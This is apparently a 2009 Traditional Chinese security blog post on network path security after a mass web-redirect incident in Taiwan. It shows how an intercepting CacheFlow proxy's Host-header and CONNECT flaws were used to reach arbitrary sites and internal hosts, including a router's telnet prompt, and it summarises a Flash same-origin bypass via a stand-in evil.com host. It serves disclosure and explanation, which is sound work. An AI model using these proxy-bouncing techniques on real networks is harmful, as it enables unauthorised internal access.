這篇之中我們繼續討論路徑上之安全性，但開始之前，我們先做一下聲名。本文章宗旨在於探討在現今複雜之網路架構中之路徑安全性，內容與任何資安事件皆無關連性。三月初於台灣發生的大規模轉址事件，目前相關各單位與我們的結論大致一樣，我們的研究正確，TTL=7以下為攻擊發生點，但是TTL=7這台路由器並非屬於國內任何一家ISP所有。我們的研究一樣沒有指出責任歸屬，我們說過我們有興趣的是技術面。但是大家看到我們公佈的IP可能就開始猜測是哪家ISP。攻擊者位於路徑border沒有錯（就是不同ISP交會處），而在border上的路由器一般都有多個介面，各對應不同ISP所給的IP，我們從台灣trace，看到的介面IP會屬國內ISP沒有錯，但是並不表示此台路由器就歸國內ISP所管。事實上如果各位看我們當初traceroute畫面上的時間差就可以發現，TTL=7應該已經出台灣了，事後經過求證也如此。所以如果把矛頭轉向國內ISP並不正確。另外也不表示是路由器出問題，只確定是TTL=7那台路由器以下都有可能，但是絕不像其他專家所說，是ARP掛馬以及發生點位於網站端。當然我們也得知了，出問題之設備為網路設備但是非路由器，至於究竟是那個廠牌的什麼設備，這邊就不繼續討論了。我們的研究價值，主要不在於探討究竟是國內還是國外的ISP出問題，還是哪一家設備商的產品出問題，我們是在探討，究竟威脅存在於哪裡？駭客可以使用哪些技術？
那時根據我們的經驗，以及最近SANS，CERT以及各知名資安專家近期的研究，懷疑的威脅包括了：
(1). ARP 掛馬，發生於網站端
(2). 路由器出問題
(3). 路徑中的proxy出問題或cache被poison
(4). 其他L3或L4 switch出問題
(5). 流量被mirror到的其他地方（IDS、流量統計設備等）被ARP掛馬
但是後來經過種種實際的封包實驗與分析，先排出了(1)，後來又排除了(2)與(5)。至於到底起因為何，由於後來事件不是我們調查的，我們不適合發表，只能說，事件發生點在TTL=7以下，但TTL=7已經不在台灣。ARP掛馬由於用在乙太網路上，唯一般人很容易接觸到的攻擊，但是資安專家看得面象要夠廣，並根據實際測試或證據來判斷威脅。2008開始，路徑上的威脅與研究都明顯增加，CERT、SANS、各資安研究員都不斷發表報告或警訊。會猜測是ARP掛馬，主要原因是ARP掛馬攻擊實在太氾濫了。但是同時，駭客要改網路設備的設定來mirror流量，其實並不難，若注意最近國外知名研究員，CERT，SANS都在說路由器怎麼被感染的。網路上攻擊形形色色，無時無刻在進行，駭客無時無刻在進步。由於種種ARP工具，隨處都抓得到，也隨處都能玩（有乙太網路就好），於是之後的直接反應就是，各種轉址綁架攻擊，都一定是ARP掛馬所致，而當我們說可能是路由器出問題，或路徑上其他設備出問題時，則表示不可思議，路由器怎麼被入侵？感染？有這種技術嗎？路由器可以mirror traffic？L4/L7 switch會被入侵？
[SANS: 小心你的路由器！]
的確，路徑上的種種設備，不是一般人容易接觸到的，我們也常覺得自己研究起來辛苦，跟在電信業上班，每天穿梭機房的工程師比起來，我們對於網路的熟悉度要弱很多...但是至少我們也摸了不少，見了不少，透過關係「借測」了不少，並且常做功課。因為如果覺得駭客只會乙太網路上的一些普遍的基本功，那就太小看駭客了。各位不知是否還記得2007年被判刑入獄的23歲路由器駭客Robert Moore的名言：「It's so easy. It's so easy a caveman can do it（太容易了，野人都會）」。Robert專門入侵VoIP路由器，然後販賣頻寬獲利，入獄前一共駭了15家VoIP ISP業者。他受訪時表示，大約45%到50%的VoIP業者的網路都是不安全的。最大的問題在哪？「我會說，85%的問題出在沒有設定好的路由器，很多設備都用了內定的密碼（I'd say 85% of them were misconfigured routers. They had the default passwords on them）」。「你不會相信網路上有多少路由器的密碼是"admin"或"Cisco0"」，他說。三月30日，SANS發佈警訊，標題是「小心你的路由器！（Watch your Internet routers!）」，報告中詳細介紹了剛發生的一個剛發生的路由器入侵事件（這裡指的是企業級路由器，非之前我們提的家用路由器感染事件），並說：「他連進來還沒五分鐘，已經建好一個tunnel回他家了（Barely five minutes after connecting, and he has configured a network tunnel back to his home base.）」。修改網路設備的設定，開tunnel，其實做過的人就知道，可能比執行zxarps還要容易，也不太會增加設備的loading，只是一般人不容易玩到就是了。
[CERT與SANS: 攔截式代理伺服器有漏洞]
2009年三月初，台灣與新加坡之間有流量被綁架，而由於二月底時，CERT針對攔截式代理伺服器有公佈警告：「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections(VU#435052)」 ，於是我們做了一些測試，並發現了路徑上的一些問題。後來根據我們做的種種測試與研究，我們的結論是，以下探討的「攔截式代理伺服器」漏洞，不太可能與轉址事件有關連。在事件過後，我們覺得當初做的研究仍有參考價值，故在週末抽空記錄一下當時的研究。我們這篇以探討技術為主，我們拿來實測的有弱點的proxy，依了解並不位於國內。
當初對CERT這篇有興趣，主要是CERT中列了許多大廠牌的代理伺服器，都還是有此問題，而我們記得此問題在2002年時就已經炒熱，沒想到事隔多年，問題並沒有改，而今年又吸引了研究人員的注意。我們先直接來看這個威脅究竟在講什麼。現在的網路環境複雜，不但有各家專做content delivery network(CDN)的廠商如Akamai、Amazon CloudFront等負責幫各大網站在世界各地提供資料，路徑中也有各式的攔截式代理伺服器（intercepting proxy）、透通式伺服器（transparent proxy）、L4/L7 switch等設備。對於常常出差的我們來說，常可以感受得出把資料放在CDN上的方便性。有使用類似技術的大站如Google、MySpace、Amazon或甚至BestBuy等，不論在哪裡（例如印度偏遠地區），當別的網站變成龜速時，這些架構於CDN上之網站，總是能維持相當的速度；網路不穩無法連回公司mail server時，就立刻感受gmail之好用。各地的ISP也為了降低長距離的流量，而建置了各式的L4/L7 switch，WCCP路由器，Web加速器（cache），代理伺服器等等。在方便之餘，也不禁讓我們想到，我們在網路上做這麼多事情時，我們的資料到底經過了誰？我們接收的資料又來自誰？譬如這次三月份台灣大規模轉址攻擊事件，其實我個人並不在意被轉址到惡意網站，反正我有很多保護措施（而且我們的工作本來每天就接觸許多惡意網站），但是攻擊者明顯可以看到我的流量，這是我很在意的。攻擊程式如果沒有解除，而只是不主動送假封包轉址，而改成監聽流量，那麼平時上網時之心理壓力就會倍增了。
今年路徑安全之研究真的很紅，上，今年（2009）三月16-20於溫哥華舉辦的CanSecWest 2009資安會議上（投影片下載），Dan Kaminsky講的，就是有關路徑安全的研究。去年因為在BlackHat / DEFCON 2008上公開DNS漏洞之超級紅人Dan Kaminsky（這裡有我們的報導，另外其實他一直很紅），於會前（三月9日）在他的部落格上說：「似乎我們在2000-2002年間做了很多相關（網路層）的研究，然後...我們好像就停止了。今年在我的CanSecWest演講中，我就要來討論在deep packet inspection的年代的中間人威脅（paper：WORD下載、PDF下載）...從位於路徑中的設備（middle of networks）上，我看到了種種的威脅」。隔一天，SANS立刻針對此發出警告：「Browser plug-ins, transparent proxies and same origin policies」。
Dan在文中也表示，在這個研究中，他與Paypal的Robert Auger合作密切。其實這次CERT的警告，最相關的就是Kaminsky的這篇研究以及Rober Auger於同一天（三月9日）公佈的paper：「Socket Capable Browser Plugins Result In Transparent Proxy Abuse（支援socket的瀏覽器外掛會導致代理伺服器之濫用）」，其中用了很具體並圖文並茂的例子，說明了CERT提及的弱點，在何種情況下可以被攻擊者利用。
Kaminsky的討論比較針對使用DPI(deep packet inspection)的設備，如防火牆與IPS等。要能在網路上偵測出這些設備的存在，目前並無太多現成的工具，但是Kiminsky的paper中給了許多不錯的方法。CERT與Auger的報告則以討論代理伺服器為主，代理伺服器的存在一般比較容易看得出來，我們就用實際的例子來說明。從我家到www.ebay.com中間，存在著攔截式代理伺服器（大家別討論屬於哪家ISP的，這不是重點，我們這邊只講技術）。如何證明？用ICMP與TCP SYN做traceroute，可以看出明顯的差別，來看看實際的測試。在以下的真實測試中，我們會示範如何藉由攔截式代理伺服器的漏洞，取得路由器與其他內網伺服器的管理介面與登入prompt。首先，我們發現我們在某位置（不在台灣），www.ebay.com對應了五個IP：
圖1--ebay對應五個IP但是不論採哪個IP，UDP的traceroute結果大概都差不多：
圖2--UDP traceroute那麼TCP traceroute在port 25上呢？也差不多：
圖3--TCP port 25 traceroute可是TCP traceroute在port 80就不一樣了：
圖4--TCP port 80 traceroute用nmap的tcp traceroute功能跑一下nmap，也是差不多的結果：
圖5--nmap -sS --traceroute很明顯有攔截式proxy位於此路徑上，其作用很可能是加速使用者對於www.ebay.com的存取，以及節省長途的流量。我們用CERT公佈的方法測試一下，發現該路徑上有proxy有弱點，導致攻擊者可以利用該proxy連線至任意其他網站。該路徑上之proxy不只一台，有些沒有弱點，但是有些有。以下我們讓該proxy連到www.google.com.tw：
圖6--利用 GET HTTP/1.1與Host:之攻擊這個攻擊非常簡單，也很容易了解。我們明明是連往www.ebay.com的port 80，但是因為我們心裡知道，接受連接的是一台proxy，所以我們就在【Host:】欄位，改填了"www.google.com.tw"，而結果該proxy在我們的操作下，往google連去了。很多攔截式proxy都會攔截多個網站，所以在判斷往往不從連線的目的IP來看，而從HTTP request中的【Host:】欄位來看（也就是從L7來看而非從L4來看）。其實這是很直覺也很合理的設計，並且要修正也不容易。為何不容易修正？我們來看看一個很常見的網路架構（topology）：
從上圖可以看出，不容易修正的原因包括如下：
1. proxy前端如果是具有WCCP功能的路由器在負責攔截port 80的流量給proxy，那proxy可以知道使用者的IP封包原本希望連哪裡，但是很多時候是L4/L7的switch在負責攔截，這個時候就不一定了，另外proxy也很有可能串接好幾台，那麼通常除了第一台知道以外，之後的都得靠【Host:】欄位。
2. 即使有IP目的地資訊，大的網站，大部分都是一個網址對應很多IP，如果根據當初要連往的IP而非【Host:】欄位，那可能減少快取（cache）的hit rate，除非要有辦法知道，哪些IP是屬於哪些網站的，但是由於此對應關係屬動態，故在proxy端不容易分析清楚。
3. 從IP來看究竟是要連往那個網站，如果用DNS反查，則可能會因為各地DNS之不同（proxy所用之DNS與使用者所用之DNS不同），而導致無法正確判斷使用者所想要連往的網站。這中間所消耗的時間也是另一個問題。
但是這樣一個弱點，就讓此「代理www.ebay.com之攔截式伺服器」，有效的變成了「公開的匿名伺服器」，根據CERT、Auger、與Kaminsky的報告，可以被利用來掃瞄或入侵內網，click fraud攻擊，發送垃圾信以及當作跳板等。這種弱點一般算是設備的弱點，而非設定上的弱點，但是同常也可以用設定來彌補。我們用古老的方法讓該proxy自首一下，到底是哪家的設備：
圖7--用古法之一來辨認設備廠商
辨認出來是一台CacheFlow。CacheFlow早於2002年就被BlueCoat併購了。早在2003年（被併購之後），Tim Kennedy就於Bugtraq公佈了該設備的類似弱點的了（BID 8584）：CacheFlow CacheOS HTTP HOST Proxy Vulnerability，當時Kennedy用的範例是利用該proxy發垃圾信。根據Bugtraq，廠商一直並未修復此弱點。再翻一下，更早在2002年，就有類似但更嚴重的弱點（BID 4143）：CacheFlow CacheOS HTTP CONNECT TCP Tunnel Vulnerability，原來也可以利用HTTP CONNECT來讓該設備連往任意網站之任意port。該報告說，解決方法是CacheOS（CacheFlow的平台）5.0版，已經將出廠值設為CONNECT只能連往port 443。電信等級設備特色是，超級穩定耐操壽命又長，但是通常更新不易，所以很多弱點的壽命也都很長。
其實我記得這些網路層的攻擊在2002年左右是高峰。一直往上爬就沒有所謂「高峰」，要有往下掉才有「高峰」--事實上正是如此，2002年後，SQL injection / XSS這些變得非常紅，大家的注意力也就從網路層的威脅慢慢轉移了。其實威脅一直存在，也一直被利用，只是不是媒體的焦點罷了。此類proxy弱點於bugtraq上有一篇很著名的，一篇打死近所有廠商的（2002年，BID 4131）：Multiple Vendor HTTP CONNECT TCP Tunnel Vulnerability（看看下面廠商清單有多長），與今年（2009）二月底的CERT報告，講的其實是差不多的事情，只是過了七年，路徑安全又在今年受到了重視，所以CERT等於重講了一次。在CERT報告中我們可以看出，BlueCoat於1月被通知，並已經於3月4日終於修改了這個七歲以上的已知漏洞。不過置於外那麼多超級強壯可以活10-20年的設備何時會真的被更新，就很難說了。既然有HTTP/1.0漏洞以及HTTP/1.0 CONNECT漏洞，我們也順便測試一下，該位於我們與ebay之間的CacheFlow，是否有類似弱點。我們先測HTTP/1.0漏洞：
圖8--HTTP/1.0漏洞測試結果是漏洞存在，可以用HTTP/1.0指令讓該proxy連到www.google.com.tw。那麼CONNECT呢？
圖9--HTTP CONNECT www.google.com.tw成功答案是肯定的，HTTP CONNECT也可以成功。那麼會不會是沒有真的連線，而只是剛好該proxy也暫存google的網頁呢？那我們測試叫他連到www.armorize.com好了，結果也成功，立刻連過來了：
圖10--HTTP CONNECT www.armorize.com成功通常大家看到攔截式proxy可以bounce，直覺可以被駭客利用的就是打內網，或這次Auger提到的繞過same origin policy(相同來源政策)等。其實有一個應用是常被忽略的：如果攔截式proxy可以bounce，就會透露該proxy對外的IP。當然剛才該proxy已經連到我們網站過了，所以看log就可以看到IP，但更快的是，讓它連到像http://www.ipaddressworld.com這種會回報訪問者IP的網站，這樣就得到了該proxy對外的IP：
圖11--取得對外IP
我們連往該IP，果然看到了CacheFlow的管理頁面，上面有該設備的型號，內網IP，MAC硬體位置與OS序號等資訊。
圖12--對外的管理介面最後的問題是，這一台CacheFlow（暫稱A），與位於我們與ebay中間的那一台（暫稱B），是同一台嗎？因為有可能是B攔截後，發現cache miss，於是串接A，讓A去取資料。由於圖12中我們可以看到A的內網位置，於是我們透過B的弱點，讓B透過內網連線A，發現是相通的，但是這只能確定，A與B其卻透過該內網相通，但是否A與B就是同一台，我們認為極有可能，但無法確定。
圖13--外網連內網恩，連到內網了，由於圖12中的對外管理介面，讓我們得知了內網的IP，我們也於圖13中，證明了可以經過該漏洞，從外網連到內網。那是否可以連到路由器呢？一般路由器的IP都是設成.254，然後管理介面設在port 23(telnet)吧？那我們演練看看好了：
圖14--外網連內網，最後連進路由器故事說到這，其實已經從外網連到內網，然後連到路由器的CLI介面了。當然這不算是有弱點，因為我們沒有密碼，但是這示範了最近SANS/CERT/Kaminsky/Auger在講的威脅。那麼再繼續看呢？試一試.253好了，結果.253是一台伺服器，login畫面出來了：
圖15--外網連內網，取得login畫面這個攻擊很古老，但是為何CERT、Kaminsky、Auger等人又在最近重提呢？原因有二，第一，最近路徑上的威脅倍增，大家重視；第二，Kaminsky與Auger有效地提出了該弱點如何可以被利用。我們拿Auger報告中的圖來做說明：
圖16--Auger的說明（thesecuritypractice.com）Auger主要假設使用者瀏覽了一個被掛馬的網站，其中惡意iframe指向www.evil.com。此時第一步，使用者機器連往DNS，詢問出www.evil.com的IP為1.1.1.1。第二步，使用者連往www.evil.com，www.evil.com丟給使用者一個flash。此flash有權力開socket連回www.evil.com，於是第三步，flash先詢問www.evil.com是否可以開socket連回（flash保護機制Security.loadPolicyFile()）。第四步，flash開socket連回www.evil.com，但是由於socket開在port 80內容也為標準HTTP GET封包，故連線被中間的proxy攔截。步驟五，由於封包中之【Host:】欄位並非指定www.evil.com而是指定www.site.com（該proxy之弱點），該proxy向DNS詢問www.site.com之IP，並於步驟6連往。此時，瀏覽器上之same origin policy(相同來源政策)就被成功的繞過了。
最後我們還是要特別強調，測試之環境不在台灣，我們也已經通知對方，對方也把問題修復了。希望這些技術面的討論，對大家有幫助。
路徑安全大事一覽表：
| 2003/07/30 | Black Hat US 2003，FX（Phenoelit的leader Felix）發表：「更多有弱點之嵌入式系統（More vulnerable embedded systems）」（投影片） |
| 2003/10/01 | Black Hat Federa 2003，FX發表：「Cisco弱點--過去，今天與未來（Cisco Vulnerabilities - Yesterday, Today and Tomorrow）」（投影片） |
| 2005/07/27 | Michael Lynn於Black Hat 2005上發表：「聖杯：CISCO IOS shellcode 以及攻擊技巧」（這裡與這裡有人公布投影片），遭Cisco沒收大會所有講義與CD(這裡有人公開當初撕書與沒收CD的錄影） |
| 2007/07/22 | Black Hat / DEFCON主席Jeff在DEFCON 2007，講了Lynn&Cisco整段事件（影片在這裡），並說當時Michael卡住，結果：他在「一個中文的論壇上找到了答案，已經有中國人先研究出來了，於是他翻譯了內容，並有了突破」。 |
| 2007/09/26 | 專門駭入路由器偷VoIP頻寬之駭客Robert Moore被判刑，他駭入了15家電信業者，並說：「太容易了，野人都會」 |
| 2008/05/15 | The Register: 路由器rootkit上演，網路將被操控(Rootkits on routers threat to be demoed--Networks own3d) |
| 2008/05/17 | Cisco官方強化IOS設備手冊 (Cisco Guide to Harden Cisco IOS Devices)（此乃針對以下之演講發表） |
| 2008/05/19 | 台灣Digitimes:可入侵思科路由器的Rootkit軟近期內將公開亮相 |
| 2008/05/21 | EUSecWest 2008--Core的研究員Ariel Futoransky: Cisco IOS rootkit解密：正宗IOS Rootkit（Killing the myth of Cisco IOS rootkits:DIK Ios rootKit）（PDF paper 下載） |
| 2008/05/23 | 中国IT实验室：Rootkit兵临城下 思科忙为路由器打补丁 |
| 2008/05/26 | 网界网：思科发布路由器补丁程序，但忧虑仍在 |
| 2008/06/08 | IDG: Cisco路由器又在駭客聚光燈下(Cisco routers again take hacker spotlight) |
| 2008/08/02 | Black Hat 2008 一共三場關於路由器安全之演講 |
| 2008/08/06 | Gyan Chawdhary與Varun Uppal發表：「Cisco IOS shellcode與後門（Cisco IOS Shellcodes/Backdoors）」（講義下載） |
| 2008/08/07 | Core的研究員Ariel Futoransky--「Viral Infections in Cisco IOS（病毒式感染Cisco IOS）」（投影片） |
| 2008/08/07 | FX發表：isco IOS鑑識的近期發展（Developments in Cisco IOS Forensics）（講義下載） |
| 2008/08/13 | 中国IT实验室：全球黑客聚会黑帽大会 Cisco路由器再成热点话题 |
| 2008/08/21 | Andy Davis發表：「跨版本Cisco IOSshellcode（Version-independent IOS shellcode）」 |
| 2008/09/30 | ISC2（推出CISSP認證的組織）blog：網路上最弱的一環是路由器。太多設定不好的路由器了。（連結） |
| 2008/12/30 | 25c3 Conference，FX發表：「Cisco IOS--攻擊與防禦，當今最高水平（Cisco IOS--Attack & Defence, the State of the Art）」（投影片在這）（錄影在這裡） |
| 2009/01/11 | Terry Baume：「Netcomm NB5路由器僵屍網路（Netcomm NB5 Botnet–PSYB0T 2.5L）」。 |
| 2009/02/23 | CERT針對代理伺服器發出警訊：「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections」 |
| 2009/03/09 | Rober Auger公佈paper：「支援socket的瀏覽器外掛會導致代理伺服器之濫用（Socket Capable Browser Plugins Result In Transparent Proxy Abuse）」，說明了CERT提及的弱點，在何種情況下可以被攻擊者利用。 |
| 2009/03/09 | Dan Kaminsky於blog上表示今年在CanSecWest 2009上會講關於路徑安全之主題：「Staring Into The Abyss」（WORD下載、PDF下載） |
| 2009/03/09 | SANS針對二月時CERT之警訊以及三月時Kaminsky與Auger的研究發出警告：「Browser plug-ins, transparent proxies and same origin policies」。 |
| 2009/03/12 | Cisco警告：「亞洲某些區域出現流量綁架，可能是non-blind TCP spoofing或其他種類攻擊，tw.msn.com與taiwan.cnet.com受影響」（連結） |
| 2009/03/22 | DroneBL發表：「網路藍色藥丸：隱形路由器僵屍網路過去幾星期以DDoS攻擊DroneBL（Network Bluepill - stealth router-based botnet has been DDoSing dronebl for the last couple of weeks）」，敘述了NetComm NB5路由器被感染並成為僵屍網路一員的整個過程 |
| 2009/03/23 | ZDNet的Zero Day blog發表：「隱形路由器botnet蠕蟲散播（Stealthy router-based botnet worm squirming）」 |
| 2009/03/24 | SANS警告：「PSYB0T：mipsel設備之IRC Bot（PSYB0T: A MIPS-device (mipsel) IRC Bot ）」 |
| 2009/03/24 | The Register：「蠕蟲透過家用路由器與modem養botnet，超過100,000台遭入侵（Worm breeds botnet from home routers, modems--More than 100,000 hosts invaded）」 |
| 2009/03/24 | Dark Reading：「路由器以往是被視為比較不會遭受惡意程式攻擊的，僵屍網路以往則針對個人電腦跟伺服器，但現在不同了。（Routers traditionally have been considered relatively immune to malware and attacks, and botnets traditionally used PCs and servers.） |
| 2009/03/24 | Dark Reading長篇大論地討論了路由器的安全：「破解路由器修補之謎（Hacking The Router Patching Conundrum）」 |
| 2009/03/25 | Cisco發出了advisory，集合了8篇advisory，一次公佈了8個CISCO IOS的弱點，並提供更新程式下載 |
| 2009/03/25 | SANS警告：「Cisco釋出IOS弱點修正集合（Cisco Releases IOS Bundle of Vulnerabilities）」 |
| 2009/03/30 | SANS發佈警訊，標題是「小心你的路由器！（Watch your Internet routers!），詳細介紹了前幾天某台Cisco被入侵的過程：不到五分鐘，駭客已經建好tunnel回家了 |
作者 Fyodor Yarochkin 為 o0o.nu 成員
作者 Wayne 為 阿碼科技CEO
相關系列文章：
2009/03/08 「大規模網頁綁架轉址：威脅未解除，但專家都猜錯了」
2009/03/12 「大規模網頁綁架轉址之水落石出篇」
2009/03/13 「回答IP Spoofing 的問題」
2009/03/15 「從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全」
2009/03/27 「網路藍色藥丸？首支攻擊路由器之蠕蟲出現：再談路徑之安全性」
繼續閱讀全文...
訂閱：
文章
(
Atom
)
訂閱文章
訂閱意見
訂閱文章